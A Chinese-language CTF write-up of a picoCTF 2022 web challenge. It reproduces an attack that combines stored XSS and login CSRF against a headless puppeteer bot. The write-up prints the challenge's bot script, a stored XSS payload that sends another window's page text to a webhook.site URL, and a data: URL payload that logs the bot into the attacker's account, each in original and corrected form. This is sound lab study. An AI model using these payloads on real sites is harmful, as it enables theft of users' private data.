参考自:https://docs.abbasmj.com/ctf-writeups/picoctf-2022

image.png

这道题的考点主要是xss以及csrf的组合

源码里的EJS是一套简单的模板语言,帮你利用普通的JavaScript代码生成HTML页面

惭愧,这道题完全不会……(连docker环境都不会配乖乖去看人家英文写的wp来复现了)

一个重要的hint

Things that require user interaction normally in Chrome might not require it in Headless Chrome

(在Chrome中通常需要用户交互的事情在Headless Chrome中可能不需要)

还有一点就是

Note that the headless browser used for the "report" feature does **not** have access to the internet.

(请注意,用于“报告”功能的无头浏览器无法访问互联网,也就是说你在/report界面输入url地址,你并不会跳转到这个url地址去访问它的资源)

无头浏览器是什么?

无头浏览器是没有图形用户界面的网络浏览器,无头浏览器在类似于流行的Web浏览器的环境中提供对网页的自动控制,但它们是通过命令行界面或使用网络通信执行的

我用了一下上述链接的方法

方法思路

首先,我们发现这个new note处是可以xss攻击的(震惊,竟然没有过滤)

image.png

image.png

看了一下源码,发现这个服务器在localhost:8080内部运行

image.png

补充说明一下这个0.0.0.0

image.png

然后发现到report.js里面有一些线索

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const crypto = require('crypto');
const puppeteer = require('puppeteer');

async function run(url) {
let browser;

try {
module.exports.open = true;
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
slowMo: 10
});

let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();
} catch(e) {
console.error(e);
try { await browser.close() } catch(e) {}
}

module.exports.open = false;
}

module.exports = { open: false, run }

这环境半小时刷新一次,难顶

然后wp里面点明了几点需要注意的地方(机翻的,加上本人英语水平有限所以见谅了)

  • It’s a puppeteer bot(这是一个木偶机器人????可能是一个bot吧,这个puppeteer在它的配置文件json里面有)

    Puppeteer是一个Node库,它提供了一个高级API来通过DevTools协议控制无头ChromeChromium浏览器(个人觉得这是一种自动化的手段)。 它还可以配置为使用完整(非无头)ChromeChromium

  • It is a headless, no-sandbox chromium browser (it’s infamous of lax security)

    (它是一个无头无沙盒Chromium浏览器(它因安全性松懈而广受诟病))

  • The bot creates a new account with completely random username and password. Creates a new note with content as process.env.flag i. e the flag

    (该机器人使用完全随机的用户名密码创建一个账户,同时该机器人创建一个title=flagcontentprocess.env.flagnew note来得到flag

  • The bot in the end opens the url we provide on the /reports page

    (就是那个report按钮进入的界面,我们输入url,会报告上去(一时没发现有什么用))

需要读取到机器人创建的包含有flag的账户(就是用随机数账户密码创建的那个)

可以本地测试一下,需要修改一些参数,将report.js里面的headless修改为false,同时将report.js里面的0.0.0.0修改为localhost(这个0.0.0.0是部署在出题人自己的服务器上的,我们自己本地测试还得修改ip地址)

这位师傅的思路是——发出一个包含“我的笔记”内容作为参数的获取请求

先创建一个测试账户

然后在测试账户创建一个脚本,该脚本将使用名为“pwn”的特定窗口(pwn之后会被创建)的正文内容访问 webhook.site url(稍后将创建)(这个webhook感觉是个比较方便的在线工具,可以用来捕获请求等信息)

1
2
3
4
<script>
if (window.location.search.includes('pwn'))
window.location = 'https://webhook.site/a5591c91-8eec-4366-9388-e231484f01b5?' + window.open('', 'pwn').document.body.textContent
</script>

这个a5591c91-8eec-4366-9388-e231484f01b5是个随机数生成的,不用在意

window.location.search意思即为查询当前窗口下从问号 (?) 开始的 URL部分,include即为是否包含了某些特定内容,原句是这么说的

I added a clause to check for ?pwn in the url because without it the website was crashing since it was redirecting every time you accessed notes. Now, let's go ahead and plant it.

(添加了一个子句来检查url中的?pwn,因为没有它,网站就会崩溃,因为每次访问笔记时它都会重定向。 现在,让我们继续种植它)

window.open()当中,第一个参数url,如果没有指定的url,打开一个新的空白窗口,这里的

第二个参数为指定target属性窗口的名称(这里的意思应该是打开一个名为pwn的窗口)

window.open.document.body.textContent就指的是获取名为pwn的窗口下的内容(这其中就包含了flag

window.location其实是显示一堆参数的东西

以一个网址为例

image.png

如果在一个网址当中输入了window.location = “url”的话,那么这个网页会被重定向到另一个url当中(这应该也是一个利用点)

以上面的方法可以在测试账号当中进行xss

之后需要进入/report页面,需要再编写一个主脚本

接下来需要做三件事情

  • 打开一个名为“pwn”的新窗口,其URLhttp://localhost/notes

    这将作为拥有flag内容的机器人帐户打开“我的笔记”页面

  • 使用凭据a:a登录到我们的测试帐户

  • 登录后转到/notes?pwn,由于xss,它将自动捕获“pwn”窗口的内容

思路概括如下(摘自原文)

1
2
3
4
5
6
7
8
9
data:text/html,
<form action="http://localhost:8080/login" method=POST id=pwn target=_blank>
<input type="text" name="username" value="a"><input type="text" name="password" value="a">
</form>
<script>
window.open('http://localhost:8080/notes', 'pwn');
setTimeout(`pwn.submit()`, 1000);
setTimeout(`window.location='http://localhost:8080/notes?pwn'`, 1500);
</script>

<form>当中的target规定了在何处打开action url(这里应该是在一个空白页打开),然后用id=pwn定义了提交表单的数据

data:text/html是js当中的data URI的一种用法,告诉浏览器的内容是html元素

接下来,我们创建一个带有操作的表单作为本地登录页面,并在输入字段中预先输入凭据作为值,然后我们在脚本中打开一个带有注释url的名为“pwn”的窗口(这在正文中有我们需要的flag)然后我们等待 1 秒并提交我们的登录表单,在我们以“a:a”身份登录后,我们会在1.5秒后打开/notes?pwn,这将触发我们的XSS并从“pwn”标签中窃取内容,该标签仍然具有来自bot帐户的正文(和flag

setTimeout()指的是过了多久时间执行xxx命令(函数)

不过这好几行的代码是需要将它们压缩一下的(为了防止格式上出现错误)

然后可以在请求当中看到flag

emmm,我按照这位师傅的方法复现并没有成功,看来还得继续探索一下……

淦,这个方法我没有尝试成功,我去看看别的方法……

好家伙,用了一个类似的方法,成功了

思路纠正

破案了,由于login窗口和notes窗口的id都是pwn,导致了参数混用所以导致上面的方法没有成功,因为我们需要利用的是notes窗口的信息,而不是login窗口的信息

payload纠正

1
2
3
4
<script>
if (window.location.search.includes('zz'))
window.location = 'https://webhook.site/1fbd1b38-f232-42e8-a3df-6f561b03da0c/?' + window.open('', 'zz').document.body.textContent
</script>
1
2
3
data:text/html,<form action="http://localhost:8080/login" method=POST id=l target=_blank>
<input type="text" name="username" value="t"><input type="text" name="password" value="t">
<script>window.open('http://localhost:8080/notes','zz');setTimeout(`l.submit()`,1000);setTimeout(`window.location='http://localhost:8080/notes?zz'`,1500)</script>

终于结束了……